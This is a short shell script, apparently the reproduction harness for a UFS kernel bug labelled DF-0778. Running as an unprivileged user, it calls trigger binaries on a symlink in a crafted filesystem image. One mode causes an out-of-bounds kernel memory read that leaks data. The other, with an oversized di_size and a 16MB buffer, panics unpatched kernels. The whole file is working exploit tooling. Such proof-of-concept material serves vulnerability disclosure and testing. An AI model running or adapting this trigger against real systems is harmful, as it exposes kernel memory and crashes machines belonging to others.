#!/bin/sh
# DF-0778 — full reproduction run.
# Requires: the crafted UFS image MOUNTED on /mnt/test (run craft_image.sh
#           as root first; see README.md). This script runs as the
#           unprivileged user (maxx) and triggers the OOB read / panic.
#
# Usage:  ./run.sh [modeA_size|modeB]
#   modeA_size  di_size to set on the symlink inode (default 200 -> OOB leak)
#   modeB       di_size = 0x80000000 -> isize=INT_MIN -> PANIC (unpatched)
set -u
MODE="${1:-200}"
MNT=/mnt/test

# craft_image.sh must be run as root; if /root/craft_image.sh exists on the
# guest, re-craft with the requested mode. This is a no-op on hosts without
# ssh access to the root account.
if [ -n "${DFBSD_ROOT:-}" ]; then
	ssh "$DFBSD_ROOT" "/root/craft_image.sh ${MODE} 2>&1 | tail -1" >/dev/null 2>&1 || true
fi

echo "=== Mode=${MODE} — running readlink trigger as unprivileged user ==="
./trigger_readlink "${MNT}/mylink"
RC=$?
echo "trigger_readlink rc=${RC}"

if [ "${MODE}" = "modeB" ]; then
	echo ""
	echo "=== Mode B BIG buffer (16MB) — PANICS the unpatched kernel ==="
	./trigger_readlink_big "${MNT}/mylink" 16777216
	echo "trigger_readlink_big rc=$?"
fi
